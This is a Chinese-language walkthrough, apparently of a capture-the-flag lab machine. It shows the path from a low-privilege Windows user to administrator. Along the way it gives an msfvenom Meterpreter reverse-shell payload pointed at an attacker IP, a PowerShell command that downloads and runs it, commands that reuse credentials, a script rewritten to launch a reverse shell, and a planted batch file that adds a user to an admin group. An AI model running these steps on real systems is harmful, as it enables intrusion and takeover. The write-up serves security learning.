scriptkiddle
- 关注

前言
这是一台纯Windows渗透的靶机,通过powershell的各种命令实现从一个低权限用户提权到一个高权限用户的过程。除此之外,这是一台很好的内网靶机,通过这台靶机可以学习到很多内网渗透的姿势。
解题思路
信息收集
对目标靶机进行扫描时发现只开放了443端口,很奇怪。但是我们发现了一个域名地址,我们可以尝试添加到hosts文件中进行访问
是一个非常正常的web页面
浏览about us
页面时,发现很多人名,编辑将其保存为users.txt文件
在关于页面上下载一个doc文档查看是否存在有价值的信息
在查找信息时,发现存在一个默认密码和一个remote
远程地址
新的链接地址是一个登录表单
可以通过前期整理的用户名和密码进行尝试,但是这里发现需要填写计算机名,可以使用exiftool
工具找到计算机名
最后使用Edavies
这个账户登录成功,登录成功后发现是一个powershell界面
漏洞利用
查看到计算机上除了Edavies
这个用户外,还存在其他用户。这些用户可能都存在不用的权限,因此下一步要做的就是横向到这各个用户上去。
因此漏洞利用的思路就出来了,可以生成一个远控shell,投毒到当前靶机上接收它的shell终端
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > shell.exe
要下载这个payload,就要用到powershell的远程下载命令了,同时MSF那边开启监听
Invoke-WebRequest "http://10.10.14.5/shell.exe" -OutFile "shell.exe"
接收到edavies的shell终端
提权
edavies提权imonks
使用screenshare
命令查看靶机正在进行什么活动,命令执行它将其保存为html文件
发现目标主机正在执行如下的命令操作,从这些信息中可以获取到密码,用户的认证凭证等信息
得到这些信息后,只需要配合Invoke-Command
命令并执行相同的操作,那么就可以获取到imonks
用户的权限了
$passwd = ConvertTo-SecureString "w3_4R3_th3_f0rce" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("acute\imonks",$passwd)
Invoke-Command -computerName atsserver -ConfigurationName dc_manage -ScriptBlock {whoami} -credential $cred
有了用户密码和凭据,就可以对imonks用户的目录进行查看了
Invoke-Command -computerName atsserver -ConfigurationName dc_manage -ScriptBlock {ls /users} -credential $cred
imonks提权jmorgan
在imonks的桌面目录上,除了看见user.txt文件外,还存在一个powershell脚本,脚本内容如下
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
从上面的脚本内容上看,脚本首先是对密码进行加密处理,然后通过验证cred变量从而去执行Get-Volume
这个命令。想要获取到jmorgan用户的权限,就得替换掉命令里的内容,并执行属于我们自己的载荷文件。
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\rev.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1} -credential $cred
jmorgan提权Administrator
得到jmorgan用户的权限后,可以查看该用户是否在管理员组中
很幸运,jmorgan用户是处于管理员组中,那么就可以对Administraor用户进行hash dump,解密出密码是Password@123
但是很可惜的是,当尝试使用这个密码去登录管理员的时候,是失败的。那么这里就要用到密码重用技术,类似于尝试使用同一个密码去登录不同的用户
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {whoami} -credential $cred
显示登录成功,接着可以查看这个用户对应的目录文件,可以看到里面存在一个keepmeon目录
里面存在一个bat脚本,这个脚本的作用是每5分钟运行一次
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
那么思路就是,只要把这个脚本加到计划任务上。等待5分钟后执行这个脚本,并awallace用户添加到site_admin管理员组上
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {net group site_admin} -credential $cred
最后可以查看到Administrator账户里的目录文件信息了
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
